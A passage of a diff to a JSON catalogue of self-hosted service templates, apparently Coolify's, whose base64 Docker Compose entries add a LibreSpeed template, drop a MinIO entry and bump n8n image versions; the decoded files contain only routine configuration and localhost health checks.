"c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0xJQlJFU1BFRURfODIKICAgICAgLSBNT0RFPXN0YW5kYWxvbmUKICAgICAgLSBURUxFTUVUUlk9ZmFsc2UKICAgICAgLSBESVNUQU5DRT1rbQogICAgICAtIFdFQlBPUlQ9ODIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnY3VybCAxMjcuMC4wLjE6ODIgfHwgZXhpdCAxJwogICAgICB0aW1lb3V0OiAxcwogICAgICBpbnRlcnZhbDogMW0wcwogICAgICByZXRyaWVzOiAxCg==", + "tags": [ + "speedtest", + "internet-speed" + ], + "category": "devtools", + "logo": "svgs/librespeed.png", + "minversion": "0.0.0", + "port": "82" + }, "libretranslate": { "documentation": "https://libretranslate.com/docs/?utm_source=coolify.io", "slogan": "Free and open-source machine translation API, entirely self-hosted.", @@ -2830,21 +2858,6 @@ "minversion": "0.0.0", "port": "8080" }, - "minio-community-edition": { - "documentation": "https://github.com/coollabsio/minio?tab=readme-ov-file#minio-docker-images?utm_source=coolify.io", - "slogan": "MinIO is a high performance object storage server compatible with Amazon S3 APIs.", - "compose": "c2VydmljZXM6CiAgbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgY29tbWFuZDogJ3NlcnZlciAvZGF0YSAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTUlOSU9fU0VSVkVSX1VSTD0kTUlOSU9fU0VSVkVSX1VSTAogICAgICAtIE1JTklPX0JST1dTRVJfUkVESVJFQ1RfVVJMPSRNSU5JT19CUk9XU0VSX1JFRElSRUNUX1VSTAogICAgICAtIE1JTklPX1JPT1RfVVNFUj0kU0VSVklDRV9VU0VSX01JTklPCiAgICAgIC0gTUlOSU9fUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAnbWluaW8tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", - "tags": [ - "object", - "storage", - "server", - "s3", - "api" - ], - "category": "storage", - "logo": "svgs/minio.svg", - "minversion": "0.0.0" - }, "mixpost": { "documentation": "https://docs.mixpost.app/lite?utm_source=coolify.io", "slogan": "Mixpost is a robust and versatile social media management software, designed to streamline social media operations and enhance content marketing strategies.", @@ -2899,7 +2912,7 @@ "n8n-with-postgres-and-worker": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool with queue mode and workers.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdXRUJIT09LX1VSTD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fSE9TVD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtIE9GRkxPQURfTUFOVUFMX0VYRUNVVElPTlNfVE9fV09SS0VSUz10cnVlCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG44bi13b3JrZXI6CiAgICBpbWFnZTogJ244bmlvL244bjoyLjEuNScKICAgIGNvbW1hbmQ6IHdvcmtlcgogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIEVYRUNVVElPTlNfTU9ERT1xdWV1ZQogICAgICAtIFFVRVVFX0JVTExfUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFFVRVVFX0hFQUxUSF9DSEVDS19BQ1RJVkU9dHJ1ZQogICAgICAtICdOOE5fRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0VOQ1JZUFRJT059JwogICAgICAtIE44Tl9SVU5ORVJTX0VOQUJMRUQ9dHJ1ZQogICAgICAtIE44Tl9SVU5ORVJTX01PREU9ZXh0ZXJuYWwKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTPSR7TjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTOi0wLjAuMC4wfScKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ9JHtOOE5fUlVOTkVSU19CUk9LRVJfUE9SVDotNTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICAgIC0gJ044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s9JHtOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvaGVhbHRoeicKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgbjhuOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbjhufScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ni1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICB0YXNrLXJ1bm5lcnM6CiAgICBpbWFnZTogJ244bmlvL3J1bm5lcnM6Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuLXdvcmtlcjo1Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC40JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX1BST1RPQ09MPSR7TjhOX1BST1RPQ09MOi1odHRwc30nCiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIEVYRUNVVElPTlNfTU9ERT1xdWV1ZQogICAgICAtIFFVRVVFX0JVTExfUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFFVRVVFX0hFQUxUSF9DSEVDS19BQ1RJVkU9dHJ1ZQogICAgICAtICdOOE5fRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0VOQ1JZUFRJT059JwogICAgICAtIE44Tl9SVU5ORVJTX0VOQUJMRUQ9dHJ1ZQogICAgICAtIE44Tl9SVU5ORVJTX01PREU9ZXh0ZXJuYWwKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTPSR7TjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTOi0wLjAuMC4wfScKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ9JHtOOE5fUlVOTkVSU19CUk9LRVJfUE9SVDotNTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSBPRkZMT0FEX01BTlVBTF9FWEVDVVRJT05TX1RPX1dPUktFUlM9dHJ1ZQogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBuOG4td29ya2VyOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC40JwogICAgY29tbWFuZDogd29ya2VyCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBuOG46CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHRhc2stcnVubmVyczoKICAgIGltYWdlOiAnbjhuaW8vcnVubmVyczoyLjEwLjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuLXdvcmtlcjo1Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "n8n", "workflow", @@ -2920,7 +2933,7 @@ "n8n-with-postgresql": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdXRUJIT09LX1VSTD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fSE9TVD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHt